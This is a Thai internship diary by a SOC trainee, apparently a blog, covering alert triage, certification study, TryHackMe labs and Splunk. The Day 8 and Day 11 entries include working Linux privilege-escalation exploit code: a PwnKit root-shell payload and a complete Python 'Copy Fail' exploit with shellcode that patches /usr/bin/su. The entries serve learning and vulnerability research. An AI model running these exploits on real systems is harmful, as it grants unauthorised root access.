การ DNS Brute Force ด้วย ANY query (DNS Server ต้องตอบ A, AAAA, CNAME, MX ฯลฯ ให้หมด) เนื่องจาก request size น้อยกว่า response size มาก ๆ ทำให้สามารถใช้ในการ DDoS ได้ (DNS Amplification attack) ซึ่ง NGFW ก็ได้บล็อกไป
-
การลงโปรแกรมที่เป็น .exe แปลก ๆ เช่นซอฟต์แวร์เถื่อน ซึ่งก็ทำให้ถูกบล็อกและเกิด alert ขึ้นมา ซึ่งต้อง escalate ให้ L2 ดู หรือ ให้ soc-coor ของฝั่งลูกค้าเช็คให้
-
การที่ dev ใช้ agentic AI ในการทำงาน, ซึ่ง AI บางครั้งอาจจะสร้าง payload แปลก ๆ ที่พยายามอ้อม privilege ของ user ที่รันอยู่ (พฤติกรรมจะคล้าย malware ที่ฉลาดมาก ๆ หรือ hacker ที่อยู่ในเครื่องแล้ว) หรือเป็น command ที่ XDR ไม่คุ้น ทำให้เกิด alert ขึ้นมา
ex. ปกติแล้ว user ทั่วไปมักจะใช้ cmd พื้นฐานและไม่ยุ่งกับ privilege แต่พวก Agentic AI มักจะต้องเช็ค privilege เช่น whoami /priv , เช็คหา rule administrator ในเครื่อง ฯลฯ ซึ่งอาจจะทำให้เกิด alert ขึ้นมาได้
-
alert ที่เกิดการ login fail ภายใน host, วง network เดียวกันบ่อยครั้ง (brute force attack ?)
Day 2
-
วันนี้ได้เจอ alert ที่เกี่ยวกับช่องโหว่ CVE-2014-0160 OpenSSL 1.0.1 (Heartbleed bug) ซึ่งพี่ L2 ปิดไปแล้ว (ไม่ได้ถามต่อว่า TP, FP) โดย XDR จับ signature การทำงานได้คล้ายกันจึงฟ้องมา หลักการของ Heartbleed อิงมาจาก TLS/DTLS extension ใน RFC 6520 ที่ชื่อว่า heartbeat
โดยที่ heartbeat ทำไปเพื่อ 2 วัตถุประสงค์คือ
- ตรวจสอบว่า connection ยัง active อยู่หรือไม่ (keep alive ที่ไม่ใช่การ ping หรือส่งข้อความเฉย ๆ เพราะเป็นการทดสอบ encryption, decryption บน TLS ไปในตัว)
- ใช้ตรวจเช็คว่า MTU ที่ส่งได้มีขนาดเท่าไร (path MTU discovery) โดยที่ client จะส่ง request ที่มี payload ขนาดเท่าไรก็ได้ และ server จะตอบกลับด้วยการ copy payload เดิมมาให้
ช่องโหว่นี้ไม่ได้เกิดจาก design flaw ของ TLS แต่เกิดจากการที่โปรแกรม OpenSSL (ตัวที่ implement TLS) มี bug ในการจัดการกับ heartbeat request ที่โดยปกติหาก A ส่ง heartbeat request ไปที่ B ขนาด 1 KB แล้ว B จะตอบกลับด้วยการ echo payload 1 KB เดิมมาให้ ซึ่งฟังดูปกติดี
แต่ว่า OpenSSL ดันมี bug ที่ไม่เช็คว่า data ภายใน fragment/datagram ที่ส่งไปหา B มีขนาดเท่าไหร่จริงไหม
ทำให้ A สามารถปลอม header ว่าขนาด 64KB (max ของ 1 heartbeat) แล้วส่งให้ B จริงแค่ 1 KB, เมื่อ B อ่านที่ได้รับ 1KB แล้วจำเป็นต้องหาอีก 63KB มาส่งคืนให้ A เพื่อตอบการ heartbeat ทำให้ B ต้องไปเอา memory ที่ติดกันอีก 63KB มาตอบ เกิดเป็น buffer read ซึ่ง hacker สามารถใช้ช่องโหว่นี้ในการอ่านข้อมูลที่อยู่ใน memory ของ B (ส่วนที่ OpenSSL จองไว้) ได้ เช่น private key, username, password ฯลฯ ซึ่งข้อมูลพวกนี้จะไม่ถูกเข้ารหัสแล้วในแรม เพราะอยู่ในขั้นตอนพร้อมใช้งาน
- และได้เรียนตาม roadmap การฝึกงานนิดหน่อยคือ module 1 ของ CompTIA Security+ (basic security concepts) รวมถึงได้เล่น bash script ในเว็บ cmdchallenge.com ซึ่งข้อแรก ๆ ง่าย ข้อหลัง ๆ อิหยังวะ แถมเฉลยนี่ทำให้หนักกว่าเดิม แนะนำถาม AI หรือทำเองดีกว่า โจทย์บางข้อมันเหลี่ยมได้ 5555 เช่นสั่งโจทย์ลบไฟล์ที่ขึ้นต้นด้วยตัวเลข แต่ไม่ลงท้าย .txt แต่เราสั่งลบทั้งหมด rm -rf * ก็อาจจะผ่านข้อนั้นได้เหมือนกัน
Day 3
-
ได้อ่าน incident report ผ่าน ๆ ของเคส Data exfiltration ที่ทำด้วยการ query DNS over TCP (ไม่ปกติ เพราะ DNS มักใช้ UDP ก็พอ) คาดว่าเป็นการพยายามติดต่อควบคุมระหว่าง botnet กับ C2 server ภายใน network เดียวกัน
-
เรียน module 2 ของ Comptia Sec+ (Threat, Vulnerability, Mitigations)
-
ได้ศึกษา SS7 protocol เกี่ยวกับ threat vector ที่โจมตีผ่านช่องโหว่ SMS, ระบบการโทร, cellular
-
ฟังพี่เลี้ยงเล่าเรื่อง organized crime, APT ในสมัยก่อน ยุค 2000 ต้น ๆ ที่เรายังเด็ก-ไม่เกิด ให้ฟัง
-
ได้เล่น tryhackme ห้อง linuxstrengthtraining ซึ่งเน้น command linux พวก find, grep, gpg, john และการ query mysql เน้นแนวสืบสวนหาไฟล์, รวมไฟล์, decrypt, crack hash ค่อนข้างสนุก แม้ว่า room จะเขียนว่า easy - 45 minutes แต่อย่าไปเชื่อ เพราะใน 1 ข้อใหญ่มันมี 10 ข้อย่อย เหลี่ยมจัดมากกว่าจะเจอ flag ส่วนความยากก็ easy อยู่ แต่ไม่ได้หมู พอจะง่ายในแง่ที่ไม่ต้องเปิดเฉลยดู (ยกเว้นบางข้อที่เกาหัว ว่าเราอ่านโจทย์เข้าใจถูกไหม)
จดโพยยับ ๆ เดี๋ยวลืม ว่าทำไปถึงไหนแล้ว
Day 4
-
เรียน module เสริม เรื่อง Cryptography พื้นฐาน เช่น symmetric (AES, ChaCha20), asymmetric (RSA, ECC, DSA), hashing (MD5, SHA-3, SHA-256), CA, PFS และการประยุกต์ใช้งาน เช่น encryption, digital signature, certificate, PKI ฯลฯ ยกตัวอย่างการใช้งาน เช่น เวลาเราโหลดไฟล์จาก website open source มักจะมีเลข hash md5 แถมมาให้ด้วย เพื่อให้ verify ว่าไฟล์ที่โหลดมาครบถ้วนดีใช้งานได้
แต่ไม่ได้ป้องกันการทำ web defacement เช่น กรณีของ HWmonitor, CPU-Z ที่โดนโจมตีเปลี่ยนไฟล์ใน server, ซึ่งถ้า hacker สามารถแก้ไฟล์ md5 ที่ให้โหลดมาเช็คได้ด้วย ก็จะทำให้การ verify ด้วย hash ไร้ผลทันที เพราะทั้งสองไฟล์โดนปลอมเรียบร้อยแล้ว

file แท้ที่โหลดจากเว็บ ถูกฝัง remote access trojan ทำให้การเพิ่มด่าน certificate ด้วยการ sign hash ด้วย private key ของเจ้าของไฟล์ จะทำให้เราทุกคนใช้ public key ของเจ้าของไฟล์ในการ verify ได้ ซึ่งป้องกันได้อีกระดับหนึ่ง

ซึ่ง certificate นี่ควรมาจากคนละแหล่งกับไฟล์ที่ให้โหลด หรือออกโดย CA ที่เชื่อถือได้ (กรณี db โดนเจาะหากฝาก cert ไว้กับ db เดียวกันก็อาจจะปลอมได้เหมือน hash แล้วเราจะเลือกเชื่อถือจุดไหนเป็นจุดเริ่มต้น ? เกิดเป็นปัญหา Trust Anchor)
เช่นเดียวกับการใช้ certificate ในการยืนยันว่าเว็บไซต์เป็น https จริง (คอมเรามี Root CA ไว้ยืนยัน cert ว่ามาจาก CA ที่เชื่อถือได้จริง)

/etc/ssl/certs คือ ไดเรกทอรีที่เก็บ certificate ของระบบ -
ได้เล่น try hack me โหมด king of the hill นิดหน่อย ซึ่งห้องชื่อว่า Offline อันนี้งงนิดหน่อย แต่ไม่เข้าใจมาก ๆ (lol) ทั้งกติกา และการเล่น เท่าที่เข้าใจคือ ไปเอา flag.txt มาใส่ได้ก็จะได้คะแนน หรือว่าเอาชื่อ username ตัวเองไปใส่ C:/king.txt ได้ก็จะได้คะแนนเหมือนกันตามเวลาที่อยู่ในระบบ (?) ปกติแล้วก็จะเป็น root/king.txt นี่แหละ แต่ว่าห้องนี้มันเป็น windows machine เลยแปลก
Day 5
-
ได้เรียนรู้ความ over sensitive ของ SOAR ยกตัวอย่างเช่น alert ที่เกิดจากการที่ SOAR คอยไป query url ของลูกค้าจาก urlscan.io เพื่อดูว่ามี url ของลูกค้าไปปรากฏที่ไหนนอกจาก website ที่เป็น domain ของลูกค้าบ้าง **ซึ่งอาจเป็นการแปะ url ของเว็บจริงบนเว็บ phishing เพื่อปลอมแปลงให้น่าเชื่อถือ
ex. ตัวอย่างปลอม ๆ ที่เป็นเคส over sensitive
สมมติว่า domain ของลูกค้าคือ smallbank.com แล้วมีเว็บอื่น ๆ แปะ url ชื่อเขียนว่า allbank.com ซึ่งหากเพิ่ม prefix “s” ก็จะตรงกับชื่อเว็บของลูกค้าเลย
ฝั่ง SOAR ที่จูน matching rule มาให้ sensitive มาก ก็จะฟ้องว่า allbank.com อาจเป็น phishing ทันที ซึ่งในความเป็นจริง ก็แค่ธนาคารชื่อโดเมนคล้ายกันเป็นต้น

url scan ของ url bank.com แสดงให้เห็นว่าจะขึ้น IP เว็บไซต์ที่หน้าเว็บมีการแปะ bank.com เอาไว้ทั้งหมด ซึ่งหากลูกค้าเรามี url เป็น smallbank.com แล้ว query แบบกว้างมาก ก็อาจจะติด bank.com เฉย ๆ มาด้วยก็ได้
-
เรียน module เสริมเรื่อง authentication, authorization, identity management เช่นการทำงานของ password, MFA, SSO, RBAC, ABAC ฯลฯ เช่นแนวทางการตั้งรหัสผ่านที่เปลี่ยนตามยุคสมัย เช่นการที่เดิมแนะนำให้เปลี่ยนรหัสผ่านบ่อย - ตั้งซับซ้อน แต่เกิดปัญหาพนักงานจำไม่ได้ จึงจดและแปะไว้กับโต๊ะแทน NIST เลยไม่แนะนำให้ทำแล้ว เพราะยากกับการใช้งานและเสี่ยงอันตรายกว่าเดิม
รวมถึงการใช้ password manager, การตั้ง passphrase ยาว ๆ ปลอดภัยสูง แต่จำง่ายเป็น (BIP-39) master password
และการใช้ passwordless auth (FIDO2, WebAuthn)

จำแค่ master password พอ ที่เหลืออย่าไปจำ ให้มัน generate เอา เพราะรหัสผ่านที่ปลอดภัย คือรหัสผ่านที่จำไม่ได้ - และได้เล่น Try Hack Me ห้อง Windows Fundamentals 1-3 เพราะว่า เอาจริง ๆ นะ Windows น่าจะเข้าใจยากกว่า Linux แล้วในจังหวะนี้ เพราะว่าหลาย ๆ อย่างมันพึ่งพา GUI สูงมาก ไม่เหมือน Linux ที่ทุกอย่างเข้าถึงได้ผ่านไฟล์
-
พอใกล้หมดวัน พี่เลี้ยงก็ให้เปิดห้อง King of the hill ใน try hack me เล่น โดยห้องที่ได้เล่นนี้จะเป็นห้อง Hogwarts ตามชื่อเรื่องเลย เนื้อหาก็จะเกี่ยวกับ harry potter นี่แหละ โดยที่เวลามีจำกัดแค่ 1 ชั่วโมง ทำให้เราไม่สามารถเข้าใจ lore, attack vector ได้ละเอียดเท่าไร มัวแต่งมหาทางเข้าอยู่ (ฮา)
Day 6
-
ได้เรียน module เรื่อง Enterprise Network Architecture ที่เกี่ยวกับ security (ทุกด้านอธิบายด้วย CIA) เรียงตาม OSI ทั้ง 7 layer ให้เห็นภาพคร่าว ๆ ว่าแต่ละ layer สามารถมีช่องโหว่และ solution อะไรได้บ้าง
-
ได้เรียนรู้ well known port ต่าง ๆ (แบบ hands on) โดยแสกนพอร์ตเท่าที่มีและค้นหาว่ามันทำอะไรบ้าง แล้วเขียนสั้น ๆ ผิดถูกบ้างก็ว่ากันไป

เน้นตามความเข้าใจ บางอันก็มั่ว ๆ กันไปอย่าถือสา -
ศึกษาโปรเจคเกี่ยวกับ firewall auditing เริ่มจาก ลง firewall OS (BSD based) และลองออกแบบ topology จำลองขององค์กรสมมติใน vm (แบ่ง network vlan ตามแผนก, ออกแบบ firewall rules)
Day 7
-
ได้เรียน module เรื่อง Cloud Network Architecture เช่น public, hybrid cloud, PAAS, SAAS, IaaS, FaaS ฯลฯ และบริการ security เช่น WAF, DOS protection, CASB
-
เล่น try hack me ห้อง 25 days of cyber security

วันแรกทำไปแค่ 10 (ซึ่งจริง ๆ เขาให้ทำชิล ๆ วันละอันนะ 555) แต่พี่แกบอกให้ทำไปเรื่อย ๆ เลยเดี๋ยวก็หมด
Day 8
-
เรียน module เรื่อง Resiliency and Site Security Concepts หลักการ SLA ต่าง ๆ (RPO, RTO, 5 nines HA)
-
ช่วงบ่ายเข้าฟังประชุมรายสัปดาห์
-
Try hack me ห้อง 25 days of cyber security ต่อ (เมื่อวานทำไปได้แค่ 10 days)
-
ศึกษาเองเรื่อง privilege escalation โดยที่ในวันนี้ผมได้ลองเล่น linpeas.sh เพื่อหาช่อง escalate จาก user ชื่อ cmnatic ไปเป็น root โดยที่ linpea ก็ได้แสกนหาช่องง่าย ๆ มาเยอะมาก (ง่ายสุดคือ /bin/sh ที่สามารถให้ทุกคน exec ด้วยสิทธิ์ root ได้เลย)

สังเกตที่ -rwsr-xr-x มีตัว s อยู่ที่ส่วนของ execute permission ของ owner แสดงว่าคือ setuid ตามเจ้าของไฟล์ก็คือ root นั่นเอง แสดงว่าใครรัน /bin/sh ก็เป็น root ได้หมด ซึ่งมันก็ง่ายเกิ๊น เลยลองหาทางอื่นเข้าดูบ้างเพราะ machine นี้ค่อนข้างจะออกแบบมาให้หาทางเข้าได้หลายทาง พรุนมาก ๆ เลยลองหาอีกทางเข้า ที่ยากขึ้นนิดนึง แต่มี POC เต็มเน็ตไปหมด ทำตามได้ไม่ยาก ก็คือ /usr/bin/pkexec ที่เป็น setuid root เหมือนกัน แต่พ่วงมากับว่าต้องใช้ CVE-2021-4034 PwnKit ที่เป็นช่องโหว่ของ pkexec ด้วย

อีกทางเข้าคือ /usr/bin/pkexec เครดิต POC ตามนี้เลยครับ berdav/CVE-2021-4034 หลักการ exploit คือ ไอ้ตัว pkexec เป็นส่วนหนึ่งของ Polkit (PolicyKit) บน Linux (แทบทุก distro) มีหน้าที่ให้ผู้ใช้ธรรมดาสามารถรันคำสั่งด้วยสิทธิ์ Root ได้ (คล้ายๆ กับคำสั่ง sudo แต่ใช้กลไกของ PolicyKit)
คราวนี้คือ
pkexecมันถูกสร้างมาให้มี SUID เป็น root มาตั้งแต่ต้น (room นี้เหมือนในเหตุที่เกิดในโลกจริงตอนค้นพบ CVE)ซึ่งนับว่าเป็น zero day เลยก็ว่าได้ เพราะมันออกแบบและอยู่แบบนี้มาตั้งแต่ปี 2009 และค้นพบปี 2021 — รวม 12 ปีเต็ม
เนื้อหา CVE-2021-4034
-
ถ้าถามว่า… แล้ว pkexec ที่รัน root แล้วจะทำอะไรได้?
เพราะตัวมันเองไม่ใช่ shell ง่าย ๆ…
CVE-2021-4034 พบว่า
pkexecมีช่องโหว่ที่ทำให้เราสามารถ ส่ง environment variable มั่ว ๆ เข้าไปได้ ซึ่งใน PoC ใช้ชื่อว่าGCONV_PATHpkexecจะพยายาม โหลด library ที่อยู่ใน path นี้มาใช้ขั้นตอน Exploit
- สร้างไฟล์ที่ชื่อว่า
GCONV_PATH=/tmp - สร้าง shared object
exploit.soด้วย code ด้านล่าง
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv(void) { } void gconv_init(void *step) { char * const args[] = { "/bin/sh", NULL }; char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL }; setuid(0); setgid(0); execve(args[0], args, environ); exit(0); }เมื่อ
pkexecโหลดexploit.soขึ้นมา มันจะรันgconv_init()ในฐานะ root ซึ่ง spawn/bin/shออกมาพร้อม privilege เต็มสรุป
pkexecมี SUID root → รันใน privilege สูง- ช่องโหว่อยู่ที่การ handle
argv/environที่ผิดพลาด - ทำให้ attacker inject
GCONV_PATHแล้วบังคับโหลด malicious.so - ผลลัพธ์คือ local privilege escalation → root shell
โครงสร้างไฟล์
ไฟล์ บทบาท cve-2021-4034.cTrigger — binary หลักที่รัน exploit โดยเรียก execve(“/usr/bin/pkexec”, …)พร้อม environ ที่ manipulate แล้วpwnkit.cPayload — shared library ที่จะถูก pkexec โหลดมา มี gconv_init()ที่ spawn root shellMakefileBuild script — compile ทุกอย่าง + สร้าง directory ชื่อ GCONV_PATH=.+ copy/usr/bin/trueไปเป็นpwnkit.so:.cve-2021-4034.shOne-liner script — ใช้รัน exploit ทั้งหมดด้วย curl pipe เดียว dry-run/โฟลเดอร์ — compile เป็น dry-run-cve-2021-4034สำหรับ ทดสอบว่า vulnerable ไหม โดยไม่ต้อง spawn shell จริงgconv-modules(สร้างตอน build) — บอก glibc ว่ามี charset ชื่อ PWNKITอยู่ในpwnkit.so
แสดงการโจมตี หลังจากครบแล้วเราก็จะได้ payload พร้อมรันแบบนี้ (เปลี่ยนชื่อเป็น exploit.sh)

- สร้างไฟล์ที่ชื่อว่า
Day 9
- วันนี้ไม่มีอะไรมาก ได้เรียน module Vulnerability Management
- เล่น try hack me, CTF คลายเครียด (เครียดกว่าเดิม)
Day 10
-
เรียน module Evaluate Network Security Capabilities เรื่องขีดความสามารถของมาตรฐานเก่า เทียบกับของใหม่นโลยีต่าง ๆ ในปัจจุบัน เพื่อดูว่าระบบ legacy มีปัญหา และข้อจำกัดอะไรบ้าง ตั้งแต่ networking, encryption, AAA methods ต่าง ๆ และการตรวจเช็คว่าอุปกรณ์และขั้นตอนที่ใช้อยู่ ตรงกับมาตรฐานองค์กรหรือไม่
-
เข้าร่วมฟังประชุม เนื้อหาเป็นความลับ
-
ศึกษา case study ของเคส severity สูง ที่เกิดในขณะนั้น
-
case study : ได้เห็นพฤติกรรมการแสกนและ quarantine malware ของระบบ EDR บนเครื่องลูกค้า ที่จะแสกนไฟล์อย่างละเอียด และสร้าง sandbox ขึ้นมาเพื่อทดลองรัน-แตกไฟล์ zip
โดยที่ sandbox นี้จะถูกเก็บไว้ชั่วคราวในโฟลเดอร์ %TEMP% ทำให้การย้ายไฟล์ malware ไปอยู่ใน %TEMP% แล้ว XDR แสกนซ้ำจะเจอ hash เป็นค่าเดียวกันกับ malware ตัวเดิม เกิดเป็น false positive alert อีกรอบ
Day 11
- เรียน module Assess Endpoint Security Capabilities
ทดสอบ POC ของ CVE-2026-31431
copy fail ซึ่งเป็นช่องโหว่ privilege escalation ของ Linux กระทบทุก distro ที่ใช้ kernel 4.10 - 6.14 (รวมตัวใหม่ ๆ แทบทั้งหมดที่ยังไม่ patch) สามารถใช้สิทธิ์ guest user + python script ขนาดแค่ 732 Byte ในการเป็น root ได้ทันที

จากนั้นลองสร้าง user ชื่อ devious5906 (สุ่มจาก bitwarden) มาเพื่อทดสอบ


จากนั้นก็ลองรัน C script (จริง ๆ ก็มี POC ที่เป็น python ไฟล์เดียวจบ แต่ว่า payload มันของ x86 อันนี้ทดสอบด้วย ARM เลยหา POC ที่เป็น C มา compile เอาให้ตรง architecture)

อะโอเค พอเรารู้แล้วว่ามันทำงานได้จริง ก็ถึงเวลา research ว่ามันทำงานยังไง ป้องกันยังไง
-
ย้อนกลับไปดูโพสต์ของวันที่ 8 ที่ผมเล่น linpeas แล้วเจอช่องโหว่ที่ชื่อว่า CVE-2021-4034 ซึ่งเป็นช่องโหว่ privilege escalation ของ pkexec และก็เจอ dirty COW ด้วย โดย dirty COW อาจจะอาศัย race condition สร้างลำดับที่ผิดในการเขียนข้อมูลลงใน memory โดยทั้ง สองช่องโหว่นี้ก็อาศัยไฟล์ประเภทที่เป็น setuid root เหมือนกัน ซึ่งเป็นไฟล์ที่เมื่อรันแล้วจะได้สิทธิ์ root ทันที (ไม่ต้องใส่ password หรืออะไรก็ได้เลย) เช่น /bin/sh, /usr/bin/pkexec, /usr/bin/su ซึ่งหากมีช่องโหว่ในไฟล์พวกนี้ก็จะทำให้เกิด privilege escalation ได้ง่ายมาก ๆ และ copy fail ก็ใช้ช่องโหว่ ในการโจมตีไฟล์ประเภทนั้นเช่นเดียวกัน ปล. ช่องโหว่นี้หมกตัวมานานหลายปีมาก ๆ และถูกค้นพบด้วยการใช้ AI ของ xint.io ช่วย
-
คราวนี้เป้าหมายหลักคือ /bin/su (จริง ๆ ขอแค่ pkexec หรือ sh ที่เป็น setuid root ก็ได้หมด เพียงแต่ทุก distro มักมีคำสั่ง su สำหรับเปลี่ยน user)
เนื่องจากว่าคำอธิบายของ copy fail (อย่างน้อยก็จาก linpeas) จริง ๆ ของ exploit คือ non-destructive AF_ALG/splice page-cache write triggered มันเกิดจากการที่ kernel มีฟีเจอร์ที่ชื่อว่า splice ที่เอาไว้ย้ายข้อมูลระหว่าง file descriptor โดยไม่ต้อง copy ข้อมูลไปมาใน user space ซึ่งจะเร็วกว่า
ทำให้มันไม่ต้องอาศัย race condition ที่อาจทำ memory corruption แบบใน dirtycow (ที่รันซ้ำอาจจะไม่ติด ต้องเน้น one hit kill) แต่สามารถรันได้เรื่อย ๆ ไม่ต้องห่วง memory กระทบเลย
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d("0800010000000010" + "0" * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d("00")
u.sendmsg(
[b"A" * 4 + c],
[
(h, 3, i * 4),
(h, 2, b"\x10" + i * 19),
(h, 4, b"\x08" + i * 3),
],
32768,
)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try:
u.recv(8 + t)
except:
0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(
d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
while i < len(e):
c(f, i, e[i : i + 4])
i += 4
g.system("su")
ด้านบนนี้คือหน้าตาของ exploit ทั้งหมด พร้อมทำงาน
หากจะให้อธิบายแล้วนั้น ปกติจะแก้ไขไฟล์ /usr/bin/su เราต้องมีสิทธิ์ Root เพราะไฟล์มันเป็น Read-only แต่สคริปต์นี้เลือกใช้ทางลัดผ่าน Linux Crypto API โดยใช้ setsockopt() เพื่อสร้าง socket ที่ใช้ algorithm ที่มีช่องโหว่ (AEAD with HMAC-SHA256 and AES-CBC) ซึ่ง algorithm authencesn มี bug In-place Optimization ซึ่งปกติควรจะ copy ข้อมูลออกไปคำนวณใน buffer ใหม่ แต่มันดันคำนวณทับ page cache ของ buffer เดิมโดยตรง (เลยเรียก in-place)
ต่อมาบรรทัด n(f, w, ....) เนื่องจาก f คือ file descriptor ของ /usr/bin/su และ w คือ write end ของ pipe ทำให้ท่อนี้ต่อจากฝั่งเขียนคือ /usr/bin/su
จากนั้นเชื่อมปลายท่อฝั่งอ่านด้วย n(r, u.fileno(), ...) ซึ่ง u.fileno() คือ socket ที่ทำไว้

แทนที่แค่จะอ่านจาก su → คำนวณอะไรไม่รู้ → เขียนปล่อยลง su วนไปเรื่อย ๆ เราก็ inject shellcode บรรทัด e = zlib.decompress(d("78da...")) ลงไปใน socket มันซะก่อนเลย
เนื่องจาก splice ทำให้ su, pipe, และ socket แชร์ page เดียวกันในหน่วยความจำ พื้นที่ของท่อโง่ ๆ ที่เรา splice ไว้จึงนับรวมเป็น page เดียวกับ su ไปด้วย แล้วอะไรที่มันอยู่ในท่อ ก็มี shellcode เมื่อกี้นั่นแหละ มันเลยถูกเขียนลงไปใน page cache ของ su โดยตรงแทน
เอาเป็นว่าคราวนี้ให้ socket ไปคำนวณค่าที่มี bug In-place Optimization ทำให้มันไม่เอาค่าจาก su (ฝั่งอ่านมา) ไปคำนวณที่อื่น แต่มันดันเอา shellcode ที่เราเตรียมไว้เขียนทับลง page cache ของ su โดยตรงแทน ผลลัพธ์คือ /usr/bin/su โดน patch โดยไม่ต้องการสิทธิ์ root เลย
ท้ายสุดคือพอเราเขียน /usr/bin/su ได้ เรามาดูดีกว่าว่า shell code (assembly ?) มันทำอะไร เอามาแค่บางส่วน เพราะมันยาวนะ
79: c0 31 ff shl BYTE PTR [rcx],0xff #(จริงๆ คือส่วนท้ายของ Header)
7c: b0 69 mov al,0x69 #โหลด System Call หมายเลข 105 (setuid)
7e: 0f 05 syscall # สั่ง Kernel ให้เปลี่ยน User ID ของโปรเซสนี้
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96 โหลดที่อยู่ของข้อความ "/bin/sh" (ที่ตำแหน่ง 0x96)
87: 31 f6 xor esi,esi #ล้างค่า argv ให้เป็น NULL
89: 6a 3b push 0x3b #โหลด System Call หมายเลข 59 (execve)
8b: 58 pop rax
8c: 99 cdq #ล้างค่า envp ให้เป็น NULL
8d: 0f 05 syscall #สั่งรัน /bin/sh ทันที
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
อือ ใครอ่านเข้าใจ เอาเลย ฉันไม่เข้าใจ อันนี้ AI สรุปให้ว่ามันแค่ยืมสิทธิ์ root (จาก setuid ของ /usr/bin/su) มาเปลี่ยน user ID ของตัวเองเป็น root แล้วก็รัน /bin/sh ด้วยสิทธิ์ root ทันทีเลย พร้อมให้เราใช้ cli ต่อในฐานะ root นั่นเอง
Day 12
- เรียน module Enhance Application Security Capabilities
- ได้เรียนรู้ SOP (Standard Operating Procedure) กรณีเจอ credential leak ที่ค้นพบจาก Threat Intelligence การ report, escalate case ตามเหมาะสมและ value ของ asset
- ขอดู BCP ของศูนย์ SOC กรณีเกิดเหตุฉุกเฉินต่าง ๆ
Day 13
- Web Application Security Testing (OWASP Juice Shop) ได้ลองแฮค juice shop นั่นแหละ ทำไปเลยว่าง ๆ ทั้งวัน
- ได้อ่าน CVE ใหม่ผ่าน ๆ ชื่อว่า DirtyFrag ซึ่งตอนนี้เหมือนจะยังไม่ได้เลข CVE ด้วยซ้ำ มันใหม่มาก ๆ เป็นช่องโหว่ privilege escalation ที่สืบเนื่องตระกูลเดียวกับ CopyFail เมื่อไม่กี่วันก่อนเลย แต่ตัวนี้ POC ซับซ้อนกว่ามาก ๆ ไม่มีเวลาอ่านละเอียด เท่าที่ดูน่าจะเป็นการพ่วงกันของ CVE เก่าสองตัว และตัวนี้โหดกว่า CopyFail ตรงนี้ต่อให้ patch copyfail ชั่วคราวไป ตัวนี้ก็ยังทำงานได้อยู่ดี
Day 14
- เรียน module ที่เป็น Incident Response and Monitoring Concepts ซึ่งมันยาวมาก ๆ แบ่งได้เป็นอีก หลาย module ย่อย
- วันนี้จะเกี่ยวกับ Forensics เบื้องต้นไปก่อน โดยได้เล่น Try Hack Me ห้อง Windows Forensics 1 เน้นส่อง Windows registry
เอาจริงนะ ทำไมมันต้องออกแบบ Path มางงขนาดนั้นด้วย เช่น
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfacesเพื่อแค่จะดู registry ของ interface
Day 15
- ฟังประชุมสั้น ๆ
- เรียน module Analyze Indicators of Malicious Activity (IOA, IOC, artifacts)
- vibe coding ตัว automated vulnerability scanner (ปวดหัว wa)
- (บ่น) บางทีก็คิดว่าทำงานซัก 10 ปี แล้วเก็บเงินไปทำไร่ทำนา ทำสวนปาล์มเพิ่มน่าจะดี เพิ่งลงปาล์มไปได้สองปี กำลังโตไม่เกินกลางปีหน้าก็คงเริ่มได้ตัดแล้วมั้ง ติดตรงที่มันแล้ง ๆ นี่แหละ หรือไม่ก็เอาเงินเก็บทั้งชีวิตไปลองเจ๊งกับธุรกิจห้องเช่า หอพัก แถมเป็นหนี้อาคารสงเคราะห์อีก มีที่ราคาถูกซื้อไว้ตามหลืบ ๆ เต็มไปหมดที่ไม่รู้ว่าชาตินี้ความเจริญจะเข้าถึงไหม
- ช่วงนี้ติด Assassin’s Creed Black Flag ไล่ปล้นเรือกองทัพสเปน เผาป้อมทัพอังกฤษ ฯลฯ
Day 16
- เรียน module Security Governance Concepts
- (บ่น) ตอนนี้มีแค่ CC ซึ่งไม่อยากสอบ Sec+ เพราะมันดูซ้ำซ้อนเกินไป และราคามันพอกับ CySA+ ซึ่งดูดีกว่ามาก (แต่ก็จะแปลกไหม ถ้า junior มี CySA+ ?) เลยคิดว่าหรือจะงัดเงิน 18,000 ไปสอบ BTL1 มันเลยดีกว่า กลัวว่าถ้าไม่มี cert เลย จะหางานทำยาก จะต้องสู้พวกจบ Cyber สายตรงจากหลาย ๆ มหาลัย (Dek66 ไซเบอร์ทั้งไทยน่าจะจบพร้อมกัน 800 กว่าคนเลยมั้ง) เพราะพวกนั้นโดนบังคับสอบ Sec+, CySA+, CEH กันหมด ถือกันคนละใบสองใบอยู่แล้ว -*-
ไม่รวมสายคอม ฯ อื่น ๆ ที่เบนสายได้ คงต้องแข่งกันไม่ต่ำกว่า 2,000 คนแน่ ๆ ถ้ามองหางานพวก MSSP, บ. Cyber provider ตรง ๆ คงแน่นเลยล่ะ บ.พวกนี้มักขนาดกลาง รวมทุกแผนกยัน HR,การตลาด ก็คงไม่เกิน 200 จะเป็นเด็กใหม่ได้กี่คนกันเชียว
- ถ้า บ. จ่ายค่า maintain CC ให้ปีละ 50usd ก็ดีสิ และยิ่งถ้าให้ค่า BTL1 รายเดือนด้วย ไม่ถึงปีก็คืนทุนล่ะมั้ง
Day 17
- recap หัวข้อ day 14 - 16
- เรียน Splunk เบื้องต้น 7 หัวข้อ
- Intro to Splunk
- Using Fields
- Visualization
- Creating Classic Dashboards
- Using the Monitoring Console
- intro to Enterprise Security
- Splunk Security Use Case Development : ESCU
Day 18
- recap ของวันที่ 17
